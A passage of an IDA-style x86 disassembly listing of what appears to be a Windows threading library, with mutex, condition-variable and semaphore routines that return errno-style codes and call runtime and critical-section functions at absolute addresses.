		mov	dword ptr [ecx], 0
		retn
; ---------------------------------------------------------------------------


loc_42F12A:				; CODE XREF: ___:0042F106j
					; ___:0042F10Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42F140	proc near		; CODE XREF: sub_40140Bj
		push	esi
		push	edi
		call	sub_4012E4
sub_42F140	endp

; ---------------------------------------------------------------------------
		db 8Bh
		dd 74F685F0h, 247C8B7Bh, 74FF850Ch, 1FF8305h, 8D536E75h
		dd 0E8532C5Eh, 0FFFD30C1h, 1824448Bh, 8504C483h, 8B0574C0h
		dd 889304Eh, 7E89FF85h,	8B3E7530h, 0C0853446h, 568B3775h
		dd 0E8525738h, 2371AFFh, 75C08590h, 38468B28h, 30C46C7h
		dd 50000000h, 13046C7h,	90000000h, 371C35E8h, 14E85302h
		dd 6AFFFD1Fh, 2C1EE802h, 0C483FFFDh, 4E85308h, 83FFFD1Fh
		dd 0C03304C4h, 0C35E5F5Bh, 16B85Fh, 0C35E0000h,	0Ch dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------


loc_42F200:				; CODE XREF: ___:0040223Ej
		push	ebx
		push	esi
		call	sub_4012E4
; ---------------------------------------------------------------------------
		db 8Bh
		dd 74F685F0h, 245C8B7Bh, 1FB830Ch, 0DB850474h, 8D576E75h
		dd 0E8572C7Eh, 0FFFD3001h, 1824448Bh, 8504C483h, 8B0574C0h
		dd 889344Eh, 8930468Bh,	0C085345Eh, 0DB853B75h,	568B3775h
		dd 0E8525338h, 2371A3Fh, 75C08590h, 38468B28h, 30C46C7h
		dd 50000000h, 13046C7h,	90000000h, 371B75E8h, 54E85702h
		dd 6AFFFD1Eh, 2B5EE802h, 0C483FFFDh, 44E85708h,	83FFFD1Eh
		dd 0C03304C4h, 0C35B5E5Fh, 16B85Eh, 0C35B0000h,	0Ch dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42F2C0	proc near		; CODE XREF: sub_401CEEj
		push	esi
		push	edi
		call	sub_4012E4
sub_42F2C0	endp

; ---------------------------------------------------------------------------
		db 8Bh
		dd 2C7E8DF0h, 2F53E857h, 0C483FFFDh, 74F68504h,	307E8334h
		dd 8B2E7401h, 6A3846h, 19A1E850h, 85900237h, 571E75C0h
		dd 30C46C7h, 0C7000000h, 13046h, 0C0E80000h, 6AFFFD1Dh
		dd 2ACAE802h, 0C483FFFDh, 0B0E85708h, 83FFFD1Dh, 5E5F04C4h
		dd 909090C3h, 90909090h, 8 dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------


loc_42F340:				; CODE XREF: ___:00401D25j
		sub	esp, 2D0h
		push	esi
		mov	esi, [esp+2D8h]
		push	0
		push	esi
		call	sub_401758
		add	esp, 8
		mov	[esp+4], eax
		test	eax, eax
		jnz	loc_42F479
		call	sub_4012E4
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_42F37B
		mov	eax, 0Ch
		pop	esi
		add	esp, 2D0h
		retn
; ---------------------------------------------------------------------------


loc_42F37B:				; CODE XREF: ___:0042F36Cj
		push	ebx
		push	ebp
		push	edi
		push	eax
		push	esi
		call	sub_401A50
		lea	ebx, [esi+2Ch]
		mov	edi, eax
		push	ebx
		call	sub_402225
		mov	eax, [esi+34h]
		add	esp, 0Ch
		test	eax, eax
		mov	ebp, 3
		jnz	loc_42F452
		mov	eax, [esi+30h]
		test	eax, eax
		jnz	loc_42F452
		cmp	[esi+0Ch], ebp
		jge	loc_42F465
		test	edi, edi
		jz	short loc_42F3E4
		push	ebx
		mov	[esi+0Ch], ebp
		mov	dword ptr [esi+30h], 1
		call	sub_4010C3
		push	2
		call	sub_401DD4
; ---------------------------------------------------------------------------
		mov	eax, [esp+18h]
		add	esp, 8
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		add	esp, 2D0h
		retn
; ---------------------------------------------------------------------------


loc_42F3E4:				; CODE XREF: ___:0042F3B9j
		mov	edi, [esi+4]
		push	edi
		nop
		call	near ptr 27A0361h
		push	0
		push	edi
		call	near ptr 27A0C8Bh
		nop
		cmp	eax, 102h
		jnz	short loc_42F472
		lea	eax, [esp+14h]
		mov	[esi+0Ch], ebp
		push	eax
		push	edi
		mov	dword ptr [esi+30h], 1
		mov	dword ptr [esp+1Ch], 10001h
		nop
		call	near ptr 27A05A7h
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+0CCh], offset loc_42F4F0
		push	ecx
		push	edi
		call	near ptr 27A074Ah
		nop
		push	ebx
		call	sub_4010C3
		add	esp, 4
		push	edi
		call	near ptr 27A0920h
		nop
		mov	eax, [esp+10h]
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		add	esp, 2D0h
		retn
; ---------------------------------------------------------------------------


loc_42F452:				; CODE XREF: ___:0042F39Dj
					; ___:0042F3A8j
		cmp	[esi+0Ch], ebp
		jge	short loc_42F465
		mov	edx, [esi+38h]
		push	edx
		nop
		call	near ptr 27A0B12h
		test	eax, eax
		jnz	short loc_42F469


loc_42F465:				; CODE XREF: ___:0042F3B1j
					; ___:0042F455j
		mov	[esp+10h], ebp


loc_42F469:				; CODE XREF: ___:0042F463j
		push	ebx
		call	sub_4010C3
		add	esp, 4


loc_42F472:				; CODE XREF: ___:0042F3FCj
		mov	eax, [esp+10h]
		pop	edi
		pop	ebp
		pop	ebx


loc_42F479:				; CODE XREF: ___:0042F35Fj
		pop	esi
		add	esp, 2D0h
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 60h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F4F0:				; DATA XREF: ___:0042F420o
		push	2
		call	sub_401DD4
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42F510	proc near		; CODE XREF: sub_401122j
		mov	eax, dword_50E39C
		push	esi
		push	eax
		call	sub_401190
sub_42F510	endp

; ---------------------------------------------------------------------------
		mov	esi, eax
		add	esp, 4
		test	esi, esi
		jz	short loc_42F54E
		mov	eax, [esp+8]
		test	eax, eax
		jz	short loc_42F53C
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_42F53C
		mov	ecx, [esi+4]
		push	ecx
		call	eax
		add	esp, 4


loc_42F53C:				; CODE XREF: ___:0042F52Bj
					; ___:0042F531j
		mov	edx, [esi+8]
		mov	eax, dword_50E39C
		push	edx
		push	eax
		call	sub_4020DB
; ---------------------------------------------------------------------------
		add	esp, 8


loc_42F54E:				; CODE XREF: ___:0042F523j
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42F580	proc near		; CODE XREF: sub_401659j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_8]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	[esi], eax
		mov	[esi+4], ecx
		mov	edx, dword_50E39C
		push	edx
		call	sub_401190
sub_42F580	endp

; ---------------------------------------------------------------------------
		mov	[esi+8], eax
		mov	eax, dword_50E39C
		push	esi
		push	eax
		call	sub_4020DB
; ---------------------------------------------------------------------------
		add	esp, 0Ch
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42F5D0	proc near		; CODE XREF: sub_401B4Fj

arg_0		= dword	ptr  4

		push	esi
		push	offset dword_50E8E0
		xor	esi, esi
		call	near ptr 7C901005h
		nop
		mov	ecx, [esp+4+arg_0]
		mov	eax, [ecx]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_42F604
		push	esi
		push	ecx
		call	sub_401541
		add	esp, 8
		mov	esi, eax
		push	offset dword_50E8E0
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F604:				; CODE XREF: sub_42F5D0+17j
		test	eax, eax
		jnz	short loc_42F60D
		mov	esi, 16h


loc_42F60D:				; CODE XREF: sub_42F5D0+36j
		push	offset dword_50E8E0
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
sub_42F5D0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F640:				; CODE XREF: ___:004020FEj
		push	esi
		push	4
		push	1
		xor	esi, esi
		nop
		call	near ptr 77C2C0C3h
		add	esp, 8
		test	eax, eax
		jnz	short loc_42F663
		mov	edx, [esp+8]
		mov	ecx, 0Ch
		pop	esi
		mov	[edx], eax
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_42F663:				; CODE XREF: ___:0042F652j
		mov	ecx, [esp+8]
		mov	[ecx], eax
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F680:				; CODE XREF: ___:004021D0j
		push	esi
		mov	esi, [esp+8]
		test	esi, esi
		jz	short loc_42F6A3
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_42F6A3
		push	eax
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4
		mov	dword ptr [esi], 0
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F6A3:				; CODE XREF: ___:0042F687j
					; ___:0042F68Dj
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F6C0:				; CODE XREF: ___:00401005j
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_42F6DD
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_42F6DD
		mov	ecx, [esp+8]
		test	ecx, ecx
		jz	short loc_42F6DD
		mov	eax, [eax]
		mov	[ecx], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_42F6DD:				; CODE XREF: ___:0042F6C6j
					; ___:0042F6CCj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F700:				; CODE XREF: ___:004012ADj
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_42F72A
		mov	ecx, [eax]
		test	ecx, ecx
		jz	short loc_42F72A
		mov	eax, [esp+8]
		cmp	eax, 1
		jz	short loc_42F71E
		test	eax, eax
		jnz	short loc_42F72A
		mov	[ecx], eax
		retn
; ---------------------------------------------------------------------------


loc_42F71E:				; CODE XREF: ___:0042F715j
		mov	eax, 28h
		mov	dword ptr [ecx], 0
		retn
; ---------------------------------------------------------------------------


loc_42F72A:				; CODE XREF: ___:0042F706j
					; ___:0042F70Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42F740	proc near		; CODE XREF: sub_401541j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		xor	edi, edi
		xor	esi, esi
		cmp	eax, edi
		jnz	short loc_42F756
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F756:				; CODE XREF: sub_42F740+Cj
		mov	eax, [esp+8+arg_4]
		push	ebx
		cmp	eax, edi
		push	ebp
		jz	short loc_42F77D
		mov	eax, [eax]
		cmp	eax, edi
		jz	short loc_42F77D
		cmp	dword ptr [eax], 1
		jnz	short loc_42F77D
		mov	edx, [esp+10h+arg_0]
		mov	edi, 28h
		pop	ebp
		mov	eax, edi
		pop	ebx
		mov	[edx], esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F77D:				; CODE XREF: sub_42F740+1Ej
					; sub_42F740+24j ...
		push	20h
		push	1
		call	near ptr 77C2C0C3h
		nop
		mov	esi, eax
		add	esp, 8
		cmp	esi, edi
		jnz	short loc_42F7A2
		mov	edx, [esp+10h+arg_0]
		mov	edi, 0Ch
		pop	ebp
		mov	eax, edi
		pop	ebx
		mov	[edx], esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F7A2:				; CODE XREF: sub_42F740+4Ej
		lea	ebp, [esi+10h]
		push	1
		push	edi
		push	ebp
		mov	[esi], edi
		mov	[esi+8], edi
		mov	[esi+4], edi
		call	sub_401C76
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_42F7C7
		nop
		call	near ptr 77C1F2BCh
		mov	edi, [eax]
		jmp	short loc_42F80B
; ---------------------------------------------------------------------------


loc_42F7C7:				; CODE XREF: sub_42F740+7Bj
		lea	ebx, [esi+0Ch]
		push	0
		push	0
		push	ebx
		call	sub_401C76
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_42F7E5
		call	near ptr 77C1F2BCh
		nop
		mov	edi, [eax]
		jmp	short loc_42F802
; ---------------------------------------------------------------------------


loc_42F7E5:				; CODE XREF: sub_42F740+99j
		lea	eax, [esi+14h]
		push	0
		push	eax
		call	sub_402199
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jz	short loc_42F86F
		push	ebx
		call	sub_401686
		add	esp, 4


loc_42F802:				; CODE XREF: sub_42F740+A3j
		push	ebp
		call	sub_401686
		add	esp, 4


loc_42F80B:				; CODE XREF: sub_42F740+85j
		push	esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		xor	esi, esi
		test	edi, edi
		jnz	short loc_42F862


loc_42F81B:				; CODE XREF: sub_42F740+131j
		push	offset dword_50E960
		nop
		call	near ptr 7C901005h
		mov	dword ptr [esi+18h], 0
		mov	ecx, dword_50E3A4
		mov	[esi+1Ch], ecx
		mov	eax, dword_50E3A4
		test	eax, eax
		jz	short loc_42F842
		mov	[eax+18h], esi


loc_42F842:				; CODE XREF: sub_42F740+FDj
		mov	eax, dword_50E3A0
		mov	dword_50E3A4, esi
		test	eax, eax
		jnz	short loc_42F857
		mov	dword_50E3A0, esi


loc_42F857:				; CODE XREF: sub_42F740+10Fj
		push	offset dword_50E960
		nop
		call	near ptr 7C9010EDh


loc_42F862:				; CODE XREF: sub_42F740+D9j
		mov	edx, [esp+10h+arg_0]
		pop	ebp
		mov	eax, edi
		pop	ebx
		mov	[edx], esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F86F:				; CODE XREF: sub_42F740+B7j
		xor	edi, edi
		jmp	short loc_42F81B
sub_42F740	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42F8D0	proc near		; CODE XREF: sub_401A91j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+14h+arg_0]
		xor	esi, esi
		xor	ebp, ebp
		xor	ebx, ebx
		test	edi, edi
		mov	[esp+14h+var_4], ebp
		jz	loc_42FA7C
		mov	eax, [edi]
		test	eax, eax
		jz	loc_42FA7C
		cmp	eax, 0FFFFFFFFh
		jz	loc_42FA33
		push	offset dword_50E960
		nop
		call	near ptr 7C901005h
		mov	esi, [edi]
		lea	ebx, [esi+10h]
		push	ebx
		call	sub_401041
		add	esp, 4
		test	eax, eax
		jz	short loc_42F929
		call	near ptr 77C1F2BCh
		nop
		mov	eax, [eax]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42F929:				; CODE XREF: sub_42F8D0+49j
		lea	ebp, [esi+14h]
		push	ebp
		call	sub_40177B
		add	esp, 4
		mov	[esp+14h+arg_0], eax
		test	eax, eax
		jz	short loc_42F950
		push	ebx
		call	sub_40103C
		mov	eax, [esp+18h+arg_0]
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42F950:				; CODE XREF: sub_42F8D0+6Bj
		mov	eax, [esi]
		mov	ecx, [esi+4]
		cmp	eax, ecx
		jle	short loc_42F989
		push	ebx
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_42F972
		call	near ptr 77C1F2BCh
		nop
		mov	ecx, [eax]
		mov	[esp+14h+arg_0], ecx


loc_42F972:				; CODE XREF: sub_42F8D0+94j
		push	ebp
		call	sub_4010C3
		add	esp, 4
		mov	[esp+14h+var_4], eax
		mov	ebx, 10h
		jmp	loc_42FA1E
; ---------------------------------------------------------------------------


loc_42F989:				; CODE XREF: sub_42F8D0+87j
		push	ebx
		mov	dword ptr [edi], 0
		call	sub_401686
		mov	edi, dword_50FA64
		add	esp, 4
		test	eax, eax
		jz	short loc_42F9AA
		call	edi	; _errno
		mov	edx, [eax]
		mov	[esp+14h+arg_0], edx


loc_42F9AA:				; CODE XREF: sub_42F8D0+D0j
		lea	eax, [esi+0Ch]
		push	eax
		call	sub_401686
		add	esp, 4
		test	eax, eax
		jz	short loc_42F9C2
		call	edi	; _errno
		mov	ecx, [eax]
		mov	[esp+14h+var_4], ecx


loc_42F9C2:				; CODE XREF: sub_42F8D0+E8j
		push	ebp
		call	sub_4010C3
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_42F9DC
		push	ebp
		call	sub_40222F
		add	esp, 4
		mov	ebx, eax


loc_42F9DC:				; CODE XREF: sub_42F8D0+FFj
		cmp	dword_50E3A0, esi
		jnz	short loc_42F9EF
		mov	edx, [esi+18h]
		mov	dword_50E3A0, edx
		jmp	short loc_42F9F8
; ---------------------------------------------------------------------------


loc_42F9EF:				; CODE XREF: sub_42F8D0+112j
		mov	eax, [esi+1Ch]
		mov	ecx, [esi+18h]
		mov	[eax+18h], ecx


loc_42F9F8:				; CODE XREF: sub_42F8D0+11Dj
		cmp	dword_50E3A4, esi
		jnz	short loc_42FA0B
		mov	edx, [esi+1Ch]
		mov	dword_50E3A4, edx
		jmp	short loc_42FA14
; ---------------------------------------------------------------------------


loc_42FA0B:				; CODE XREF: sub_42F8D0+12Ej
		mov	eax, [esi+18h]
		mov	ecx, [esi+1Ch]
		mov	[eax+1Ch], ecx


loc_42FA14:				; CODE XREF: sub_42F8D0+139j
		push	esi
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4


loc_42FA1E:				; CODE XREF: sub_42F8D0+B4j
		push	offset dword_50E960
		nop
		call	near ptr 7C9010EDh
		mov	esi, [esp+14h+arg_0]
		mov	ebp, [esp+14h+var_4]
		jmp	short loc_42FA62
; ---------------------------------------------------------------------------


loc_42FA33:				; CODE XREF: sub_42F8D0+28j
		push	offset dword_50E8E0
		nop
		call	near ptr 7C901005h
		cmp	dword ptr [edi], 0FFFFFFFFh
		jnz	short loc_42FA4B
		mov	dword ptr [edi], 0
		jmp	short loc_42FA57
; ---------------------------------------------------------------------------


loc_42FA4B:				; CODE XREF: sub_42F8D0+171j
		mov	[esp+14h+arg_0], 10h
		mov	esi, [esp+14h+arg_0]


loc_42FA57:				; CODE XREF: sub_42F8D0+179j
		push	offset dword_50E8E0
		nop
		call	near ptr 7C9010EDh


loc_42FA62:				; CODE XREF: sub_42F8D0+161j
		test	esi, esi
		jz	short loc_42FA6E
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42FA6E:				; CODE XREF: sub_42F8D0+194j
		test	ebp, ebp
		mov	eax, ebp
		jnz	short loc_42FA81
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42FA7C:				; CODE XREF: sub_42F8D0+15j
					; sub_42F8D0+1Fj
		mov	eax, 16h


loc_42FA81:				; CODE XREF: sub_42F8D0+1A2j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_42F8D0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42FB00	proc near		; CODE XREF: sub_401203j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	0
		push	eax
		push	ecx
		call	sub_42FB30
		add	esp, 0Ch
		retn
sub_42FB00	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42FB30	proc near		; CODE XREF: sub_42FB00+Cp
					; sub_42FE00+19p

var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 20h
		push	esi
		mov	esi, [esp+24h+arg_0]
		test	esi, esi
		push	edi
		mov	[esp+28h+var_20], 0
		jz	loc_42FC39
		mov	eax, [esi]
		test	eax, eax
		jz	loc_42FC39
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_42FB72
		push	esi
		call	sub_401B4F
		add	esp, 4
		mov	[esp+28h+var_20], eax
		test	eax, eax
		jz	short loc_42FB72
		cmp	eax, 10h
		jnz	loc_42FC3E


loc_42FB72:				; CODE XREF: sub_42FB30+26j
					; sub_42FB30+37j
		mov	esi, [esi]
		lea	edi, [esi+10h]
		push	edi
		call	sub_401041
		add	esp, 4
		test	eax, eax
		jz	short loc_42FB92
		call	near ptr 77C1F2BCh
		nop
		mov	eax, [eax]
		pop	edi
		pop	esi
		add	esp, 20h
		retn
; ---------------------------------------------------------------------------


loc_42FB92:				; CODE XREF: sub_42FB30+52j
		mov	ecx, [esi]
		push	edi
		inc	ecx
		mov	[esi], ecx
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_42FBB2
		nop
		call	near ptr 77C1F2BCh
		mov	eax, [eax]
		pop	edi
		pop	esi
		add	esp, 20h
		retn
; ---------------------------------------------------------------------------


loc_42FBB2:				; CODE XREF: sub_42FB30+72j
		mov	edi, [esp+28h+arg_4]
		lea	ecx, [esp+28h+var_10]
		push	ecx
		lea	edx, [esp+2Ch+var_1C]
		lea	eax, [esp+2Ch+var_20]
		push	offset loc_42FCA0
		push	edx
		mov	[esp+34h+var_10], edi
		mov	[esp+34h+var_C], esi
		mov	[esp+34h+var_8], eax
		mov	[esp+34h+var_4], 0
		call	sub_401659
; ---------------------------------------------------------------------------
		dw 0E857h
		dd 0FFFD14DBh, 8910C483h, 85082444h, 8B2775C0h,	83342444h
		dd 56500CC6h, 0FD1C97E8h, 8C483FFh, 0E74C085h, 0F6AEE890h
		dd 8B777Eh, 8244489h, 448B04EBh, 0C9330824h, 0C085016Ah
		dd 89C1940Fh, 0E828244Ch, 0FFFD14F6h, 0C24448Bh, 5F04C483h
		dd 20C4835Eh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_42FC39:				; CODE XREF: sub_42FB30+13j
					; sub_42FB30+1Dj
		mov	eax, 16h


loc_42FC3E:				; CODE XREF: sub_42FB30+3Cj
		pop	edi
		pop	esi
		add	esp, 20h
		retn
sub_42FB30	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FCA0:				; DATA XREF: sub_42FB30+93o
		push	ecx
		push	ebx
		push	ebp
		mov	ebp, [esp+10h]
		push	esi
		push	edi
		mov	esi, [ebp+4]
		mov	ebx, [ebp+8]
		mov	[esp+18h], ebx
		lea	edi, [esi+14h]
		push	edi
		call	sub_402225
		add	esp, 4
		test	eax, eax
		jz	short loc_42FCCB
		pop	edi
		pop	esi
		mov	[ebx], eax
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42FCCB:				; CODE XREF: ___:0042FCC1j
		mov	ebx, [esi+8]
		test	ebx, ebx
		mov	[esp+10h], ebx
		jz	short loc_42FCDE
		lea	eax, [ebx-1]
		mov	[esi+8], eax
		jmp	short loc_42FD47
; ---------------------------------------------------------------------------


loc_42FCDE:				; CODE XREF: ___:0042FCD4j
		mov	ecx, [esi+4]
		inc	ecx
		mov	eax, ecx
		mov	[esi+4], ecx
		cmp	eax, 3FFFFFFFh
		jnz	short loc_42FD47
		lea	ebx, [esi+10h]
		push	ebx
		call	sub_401041
		add	esp, 4
		test	eax, eax
		jz	short loc_42FD12
		nop
		call	near ptr 77C1F2BCh
		mov	edx, [esp+18h]
		mov	ecx, [eax]
		pop	edi
		pop	esi
		pop	ebp
		mov	[edx], ecx
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42FD12:				; CODE XREF: ___:0042FCFCj
		mov	eax, [esi+4]
		mov	ecx, [esi]
		sub	ecx, eax
		push	ebx
		mov	[esi], ecx
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_42FD3C
		nop
		call	near ptr 77C1F2BCh
		mov	edx, [esp+18h]
		mov	ecx, [eax]
		pop	edi
		pop	esi
		pop	ebp
		mov	[edx], ecx
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42FD3C:				; CODE XREF: ___:0042FD26j
		mov	ebx, [esp+10h]
		mov	dword ptr [esi+4], 0


loc_42FD47:				; CODE XREF: ___:0042FCDCj
					; ___:0042FCECj
		push	edi
		call	sub_4010C3
		add	esp, 4
		test	eax, eax
		jz	short loc_42FD60
		mov	ecx, [esp+18h]
		pop	edi
		pop	esi
		pop	ebp
		mov	[ecx], eax
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42FD60:				; CODE XREF: ___:0042FD52j
		cmp	ebx, 1
		jnz	short loc_42FD89
		add	esi, 10h
		push	esi
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_42FD89
		nop
		call	near ptr 77C1F2BCh
		mov	edx, [eax]
		mov	eax, [esp+18h]
		pop	edi
		pop	esi
		pop	ebp
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42FD89:				; CODE XREF: ___:0042FD63j
					; ___:0042FD73j
		mov	ecx, [ebp+0]
		push	ecx
		call	sub_402225
		add	esp, 4
		test	eax, eax
		jz	short loc_42FD9F
		mov	edx, [esp+18h]
		mov	[edx], eax


loc_42FD9F:				; CODE XREF: ___:0042FD97j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42FE00	proc near		; CODE XREF: sub_4011E0j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		test	eax, eax
		jnz	short loc_42FE0E
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------


loc_42FE0E:				; CODE XREF: sub_42FE00+6j
		mov	ecx, [esp+arg_0]
		push	eax
		mov	eax, [esp+4+arg_4]
		push	eax
		push	ecx
		call	sub_42FB30
		add	esp, 0Ch
		retn
sub_42FE00	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42FE40	proc near		; CODE XREF: sub_401E51j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_42FE60
		add	esp, 8
		retn
sub_42FE40	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42FE60	proc near		; CODE XREF: sub_42FE40+7p
					; sub_42FFC0+7p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	ebx
		push	esi
		push	edi
		test	eax, eax
		jz	loc_42FF64
		mov	esi, [eax]
		test	esi, esi
		jz	loc_42FF64
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_42FE84
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42FE84:				; CODE XREF: sub_42FE60+1Cj
		lea	ebx, [esi+14h]
		push	ebx
		call	sub_402225
		add	esp, 4
		test	eax, eax
		jnz	loc_42FF69
		mov	ecx, [esi+8]
		mov	eax, [esi]
		test	ecx, ecx
		jz	short loc_42FED4
		test	eax, eax
		jnz	short loc_42FEB2


loc_42FEA5:				; CODE XREF: sub_42FE60+77j
		push	ebx
		call	sub_4010C3
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42FEB2:				; CODE XREF: sub_42FE60+43j
		mov	edx, [esp+0Ch+arg_4]
		test	edx, edx
		jz	short loc_42FEC9
		mov	edi, eax
		mov	dword ptr [esi], 0
		add	ecx, edi
		mov	[esi+8], ecx
		jmp	short loc_42FF36
; ---------------------------------------------------------------------------


loc_42FEC9:				; CODE XREF: sub_42FE60+58j
		inc	ecx
		mov	edi, 1
		mov	[esi+8], ecx
		jmp	short loc_42FF33
; ---------------------------------------------------------------------------


loc_42FED4:				; CODE XREF: sub_42FE60+3Fj
		cmp	eax, [esi+4]
		jle	short loc_42FEA5
		lea	ecx, [esi+10h]
		push	ecx
		call	sub_401041
		add	esp, 4
		test	eax, eax
		jz	short loc_42FF00
		call	near ptr 77C1F2BCh
		nop
		mov	esi, [eax]
		push	ebx
		call	sub_4010C3
		add	esp, 4
		mov	eax, esi
